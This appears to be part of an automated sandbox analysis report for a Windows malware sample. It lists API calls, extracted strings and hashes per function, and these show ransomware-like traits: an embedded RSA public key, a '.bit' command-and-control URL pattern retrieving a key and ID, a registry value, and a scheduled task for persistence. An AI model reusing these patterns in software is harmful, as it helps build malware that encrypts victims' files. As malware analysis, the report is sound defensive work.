_memset.LIBCMT ref: 05E7A869
_memset.LIBCMT ref: 05E7A87A

Strings

p2Q, xrefs: 05E7A882

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 307193728024030927df7f41f84fdf4410c362bf0754362bac0df41c1063cff2
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: E4F0C968698750B5F7217750BC2AB957E916B31B08F105088E15C2A3F1D2FD238CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05EAFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EAFBF1

Part of subcall function 05E9169C: std::exception::_Copy_str.LIBCMT ref: 05E916B5

__CxxThrowException@8.LIBCMT ref: 05EAFC06

Strings

TeM, xrefs: 05EAFBFE
TeM, xrefs: 05EAFBFB, 05EAFBE7

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d80c09baa528406a51f77f7a5c7a2c279b54e167299431dc8300294562570407
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 58D06775D0024DBBCF08EFA5D459CDDBBB8AA04344B008466A95497241EA74A349CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E6D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E8197D: __wfsopen.LIBCMT ref: 05E81988

_fgetws.LIBCMT ref: 05E6D15C

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 107dde882ee607e82b3ce7bff3773940b4f3b3850a7e34b0176989888f3cb852
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: E791F771E40319ABDF20EF94CE44BBEB7B5BF04394F542529E899A3240E775AA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E6D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E6D77E
_malloc.LIBCMT ref: 05E6D7B2
_malloc.LIBCMT ref: 05E6D7C1
_fprintf.LIBCMT ref: 05E6D815

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c8048eb41df32111ca66f80c65f1be949b4962981d9118ff42ecc12d5fb80b8f
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 9DA19FB1D00248EBEF11EFE4CC49BEEBB75AF14344F141028D5497B291E7B65A48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E82AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E82B2E
__read_nolock.LIBCMT ref: 05E82BFE
__filbuf.LIBCMT ref: 05E82C21
_memset.LIBCMT ref: 05E82C65

Part of subcall function 05E85BA8: __getptd_noexit.LIBCMT ref: 05E85BA8

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 23f1cf0960a33709265082c9ac7d74b7098e0152d86406c2b31b3bdb2597f487
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: AA51F738B053059BEB25EF6889845BE77B7BF40324F189329EABD962D0D7709950CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05EA1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05EA137D

Part of subcall function 05EA1A9D: __fltout2.LIBCMT ref: 05EA1AC6

__cftog_l.LIBCMT ref: 05EA13A3
__cftoe_l.LIBCMT ref: 05EA13D5

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: d46c97cc7b7bfd302f26b0618136e0066a55ac9e6f2848d01e695f1c2dc8d835
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 1201693380414ABBCF1A5EA4CC05CEE3F62BB18244F099454FA9958420D336E5B5EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05F27A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05F27A4B

Part of subcall function 05F28140: ___BuildCatchObjectHelper.LIBCMT ref: 05F28172
Part of subcall function 05F28140: ___AdjustPointer.LIBCMT ref: 05F28189

_UnwindNestedFrames.LIBCMT ref: 05F27A62
___FrameUnwindToState.LIBCMT ref: 05F27A74
CallCatchBlock.LIBCMT ref: 05F27A98

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 0bc5b72f04fde6f5c652a039595603baa4a6165cd069567d933788572a4e3365
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 30010272501119BBCF12AF55CC04EEA3BAAFF49764F148015FA1866120C73AE9A1DFA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AaIo4VGgvO.exePID: 7460, Parent PID: 7444COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,008CD0A0,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

IsTask, xrefs: 0041A1EE, 0041A299
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
x*P, xrefs: 0041ACE4
IsNotTask, xrefs: 0041A654
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--Admin, xrefs: 0041A1B4, 0041A632
F:\, xrefs: 0041B397
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--AutoStart, xrefs: 0041A2EC
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
x2Q, xrefs: 0041A856
--Task, xrefs: 0041A2CD
runas, xrefs: 0041A6CE
7P, xrefs: 0041B164
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
%username%, xrefs: 0041B283
D:\Windows\, xrefs: 0041AFF3
X1P, xrefs: 0041A485
I:\5d2860c89d774.jpg, xrefs: 0041B32F
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
list<T> too long, xrefs: 0041B669, 0041B673
IsNotAutoStart, xrefs: 0041A645
C:\Program Files\Google\, xrefs: 0041AFB9
--Service, xrefs: 0041A30B
D:\Program Files\Google\, xrefs: 0041B0EE
--ForNetRes, xrefs: 0041A22E
<, xrefs: 0041A67B

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-526584959
Opcode ID: fa78ff86531175c55fa48a80b045006d246d693576a53955fb5abb2ea9be91a5
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: fa78ff86531175c55fa48a80b045006d246d693576a53955fb5abb2ea9be91a5
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,A16311C1), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

GetQueueStatus, xrefs: 00481C6B
KERNEL32.DLL, xrefs: 0048199C
Heap32First, xrefs: 00481D8E
Thread32Next, xrefs: 00481E13
LanmanWorkstation, xrefs: 00481A26
Heap32ListFirst, xrefs: 00481DB4
Process32Next, xrefs: 00481DED
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
CryptAcquireContextW, xrefs: 00481AD5
USER32.DLL, xrefs: 00481C31
Heap32Next, xrefs: 00481DA1
CryptGenRandom, xrefs: 00481AE3
NETAPI32.DLL, xrefs: 004819A9
Module32Next, xrefs: 00481E39
NetApiBufferFree, xrefs: 004819F0
Thread32First, xrefs: 00481E00
GetForegroundWindow, xrefs: 00481C4A
NetStatisticsGet, xrefs: 004819E2
GetCursorInfo, xrefs: 00481C58
Module32First, xrefs: 00481E26
LanmanServer, xrefs: 00481A74
ADVAPI32.DLL, xrefs: 00481989
CreateToolhelp32Snapshot, xrefs: 00481D67
Heap32ListNext, xrefs: 00481DC7
CryptReleaseContext, xrefs: 00481AF6
$, xrefs: 00481F7E
Process32First, xrefs: 00481DDA
CloseToolhelp32Snapshot, xrefs: 00481D7B

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

","id":", xrefs: 0041EBC5, 0041EC4C
?pid=, xrefs: 0041E884
Microsoft Internet Explorer, xrefs: 0041E736
{"public_key":", xrefs: 0041EA2E, 0041EA8D
", xrefs: 0041ECA0
&first=true, xrefs: 0041E930
&first=false, xrefs: 0041E937
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
.bit/, xrefs: 0041E7A3

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 546ea31d583460ad13f4666ede6d30269500a3270548d78eec8e851e55f0e451
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 546ea31d583460ad13f4666ede6d30269500a3270548d78eec8e851e55f0e451
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Author Name, xrefs: 0040D4C8
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
--Task, xrefs: 0040D8DD
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Trigger1, xrefs: 0040D6FA
2030-05-02T08:00:00, xrefs: 0040D737
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 8b9bbd938197d2205a2a35eded388742290fd4a82e36b2a62761777a314bcab4
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 8b9bbd938197d2205a2a35eded388742290fd4a82e36b2a62761777a314bcab4
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

